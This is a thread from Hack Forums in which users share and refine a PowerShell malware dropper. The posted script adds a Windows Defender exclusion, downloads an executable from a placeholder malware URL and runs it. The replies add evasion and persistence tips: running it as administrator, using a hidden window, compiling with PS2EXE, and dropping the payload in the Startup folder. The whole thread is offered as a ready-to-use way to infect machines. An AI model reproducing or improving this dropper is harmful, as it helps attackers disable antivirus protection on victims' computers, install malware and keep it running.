

Forum:[Hack Forums](#)

Thread: [powershell fud](#)

nullkiss - February 24, 2025, 3:21 pm

Here is a cool power-shell script that fully bypasses windows defender.

```
Add-MpPreference -ExclusionPath $env:TEMP
$url1 = "MALWAREURL"
$outputFile1 = [System.IO.Path]::Combine($env:TEMP, 'document.exe')
Invoke-WebRequest -Uri $url1 -OutFile $outputFile1
Start-Process -FilePath $outputFile1
```

Nothing new but something to get some people started ?

DramaKing - February 24, 2025, 7:31 pm

(Feb 24, 2025 04:21 PM)nullkiss Wrote: [\[CITE\]](#) Here is a cool power-shell script that fully bypasses windows defender.

```
Code [font=Sans-serif]Add-MpPreference -ExclusionPath $env:TEMP
$url1 = "MALWAREURL"
$outputFile1 = [System.IO.Path]::Combine($env:TEMP, 'document.exe')
Invoke-WebRequest -Uri $url1 -OutFile $outputFile1
Start-Process -FilePath $outputFile1[/font]
```

Nothing new but something to get some people started ?
And practically nothing else. Just make sure to run it as administrator. You know that, right? Also, the n00bs are going to need some documentation.

DeathPenalty666 - February 24, 2025, 9:06 pm

(Feb 24, 2025 08:31 PM)DramaKing Wrote: [\[CITE\]](#) And practically nothing else. Just make sure to run it as administrator. You know that, right? Also, the n00bs are going to need some documentation.

NOOB HERE!!! Thanks you but no thanks its just logic. BUT HOW DO I RUN IT AS ADMIN, IT SAY I CANNOT^^ I am joking this is another very basic things to learn lol. the third one is to learn how to have the script in a files to can alway re-start at each time pc boot to make sure even deleted it will be omly a temporary fact.

BUT THERE IS SOMETHINGM ISSING ***** PowerShell.exe -WindowStyle hidden

nullkiss - February 25, 2025, 1:47 am

(Feb 24, 2025 10:06 PM)arlalala01 Wrote: [\[CITE\]](#) NOOB HERE!!! Thanks you but no thanks its just logic. BUT HOW DO I RUN IT AS ADMIN, IT SAY I CANNOT^^ I am joking this is another very basic things to learn lol. the third one is to learn how to have the script in a files to can alway re-start at each time pc boot to make sure even deleted it will be omly a temporary fact.

BUT THERE IS SOMETHINGM ISSING ***** PowerShell.exe -WindowStyle hidden

well yes you need to use administrator privileges to add the exclusion to defender, but and you just need to compile it using something like "PS2EXE" or any other one.

and yea you can replace the exclusion directory to say Code "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup" so the payload will be ran at startup.